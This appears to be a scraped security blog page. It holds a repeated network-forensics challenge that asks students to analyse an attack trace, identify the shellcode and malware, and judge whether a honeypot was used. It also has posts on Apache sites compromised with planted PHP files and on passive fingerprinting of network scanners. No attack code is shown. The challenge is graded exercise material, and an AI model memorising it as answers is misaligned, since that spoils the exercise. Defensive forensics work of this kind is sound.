1. Which systems (i.e. IP addresses) are involved? (2pts)
2. What can you find out about the attacking host (e.g., where is it located)? (2pts)
3. How many TCP sessions are contained in the dump file? (2pts)
4. How long did it take to perform the attack? (2pts)
5. Which operating system was targeted by the attack? And which service? Which vulnerability? (6pts)
6. Can you sketch an overview of the general actions performed by the attacker? (6pts)
7. What specific vulnerability was attacked? (2pts)
8. What actions does the shellcode perform? Pls list the shellcode. (8pts)
9. Do you think a Honeypot was used to pose as a vulnerable victim? Why? (6pts)
10. Was there malware involved? Whats the name of the malware? (We are not looking for a detailed malware analysis for this challenge) (2pts)
11. Do you think this is a manual or an automated attack? Why? (2pts)
It was short notice when I put it on that list, even shorter here, but...
In this case, no need to write code, just find the answers and tell them what program(s) you used.
----
The Challenge:
A network trace with attack data is provided. (Note that the IP address of the victim has been changed to hide the true location.) Analyze and answer the following questions:
1. Which systems (i.e. IP addresses) are involved? (2pts)
2. What can you find out about the attacking host (e.g., where is it located)? (2pts)
3. How many TCP sessions are contained in the dump file? (2pts)
4. How long did it take to perform the attack? (2pts)
5. Which operating system was targeted by the attack? And which service? Which vulnerability? (6pts)
6. Can you sketch an overview of the general actions performed by the attacker? (6pts)
7. What specific vulnerability was attacked? (2pts)
8. What actions does the shellcode perform? Pls list the shellcode. (8pts)
9. Do you think a Honeypot was used to pose as a vulnerable victim? Why? (6pts)
10. Was there malware involved? Whats the name of the malware? (We are not looking for a detailed malware analysis for this challenge) (2pts)
11. Do you think this is a manual or an automated attack? Why? (2pts)
Sunday, January 24, 2010
Infected sites and Google Alerts
Not as much on OS fingerprinting, but due to alerts I have setup from google alerts on fingerprinting I've been getting a look at a couple hundred sites that have been taken over in some form or another since just before Christmas. I'm getting google to notify me of compromised sites and I don't want it anymore, I want to go back to useful alerts for new info on fingerprinting out there!
Sites end up being:
http://somewhere.wherever/5-6 character junk/
The first 2 I saw I actually dropped notes to those compromised and was happy to see them clean them up, patched I have no idea, but cleaned up.
Everything was Apache from what I could tell doing Banner Grabbing with Satori. It wasn't something I was too worried about, but .....
Could be an apache hole, openssl, php, etc. Hard to say.
Looking at one that has been compromised since Christmas the following layout is there:
1g
1r.txt
1t
2.js
2r.txt
academia.php
accenture.php
....
fingeprinting.php
...
passive.php
1g -
file seems to list a ton of other sites, possibly ones compromised or possibly ones to dump you off to. I played around a bit with it back at Christmas, assumed the problem would go away and forgot about it for the most part. But since it is a month later and I'm still getting new ones each day I figured I'd at least post something on it.
1t -
possibly usernames it is trying
2r -
php files it is going to create
Simple search to find pages with google to get an idea:
"fingerprinting the dead with rigor morits"
Based on file times I assume there is some type of automated scan they are doing and dumping their first .php file on it. Then someone is going through those lists 12-24 hours later and uploading the rest. Just looking at timestamps on the files there is typically one file created on day 0, then all the others get created the next day, but not all at the same time, one here, one there.
Anyway, if anyone is going to go poking around, make sure you just the subdir (directory listing is turned on in all the ones I looked at), such as:
http://xxxxxxxx.com/z1jyed/fingerprinting.php
only go to:
http://xxxxxxxx.com/z1jyed/
Oh yeah, I was going to go poke around on some of my Apache boxes and make sure they weren't compromised. Maybe tomorrow.
Sites end up being:
http://somewhere.wherever/5-6 character junk/
The first 2 I saw I actually dropped notes to those compromised and was happy to see them clean them up, patched I have no idea, but cleaned up.
Everything was Apache from what I could tell doing Banner Grabbing with Satori. It wasn't something I was too worried about, but .....
Could be an apache hole, openssl, php, etc. Hard to say.
Looking at one that has been compromised since Christmas the following layout is there:
1g
1r.txt
1t
2.js
2r.txt
academia.php
accenture.php
....
fingeprinting.php
...
passive.php
1g -
file seems to list a ton of other sites, possibly ones compromised or possibly ones to dump you off to. I played around a bit with it back at Christmas, assumed the problem would go away and forgot about it for the most part. But since it is a month later and I'm still getting new ones each day I figured I'd at least post something on it.
1t -
possibly usernames it is trying
2r -
php files it is going to create
Simple search to find pages with google to get an idea:
"fingerprinting the dead with rigor morits"
Based on file times I assume there is some type of automated scan they are doing and dumping their first .php file on it. Then someone is going through those lists 12-24 hours later and uploading the rest. Just looking at timestamps on the files there is typically one file created on day 0, then all the others get created the next day, but not all at the same time, one here, one there.
Anyway, if anyone is going to go poking around, make sure you just the subdir (directory listing is turned on in all the ones I looked at), such as:
http://xxxxxxxx.com/z1jyed/fingerprinting.php
only go to:
http://xxxxxxxx.com/z1jyed/
Oh yeah, I was going to go poke around on some of my Apache boxes and make sure they weren't compromised. Maybe tomorrow.
Monday, January 4, 2010
Passive Fingerprinting of Network Reconnaissance Tools
Last month I ran across the initial 3 page IEEE summary of this thesis paper. At the time I wasn't able to find a full copy of it. Though now it looks like there is a copy out there dtic.mil
In a nutshell they look at the visual fingerprint a scanner, such as NMAP, UnicornScan, etc makes as it scans a system. By utilizing the information they obtain they can tell what program is scanning your system.
Anyway, interesting twist, fingerprinting the application scanning you. I had looked at doing this with some products, but never to this extent, very nicely done!
In a nutshell they look at the visual fingerprint a scanner, such as NMAP, UnicornScan, etc makes as it scans a system. By utilizing the information they obtain they can tell what program is scanning your system.
Anyway, interesting twist, fingerprinting the application scanning you. I had looked at doing this with some products, but never to this extent, very nicely done!
Subscribe to:
Posts (Atom)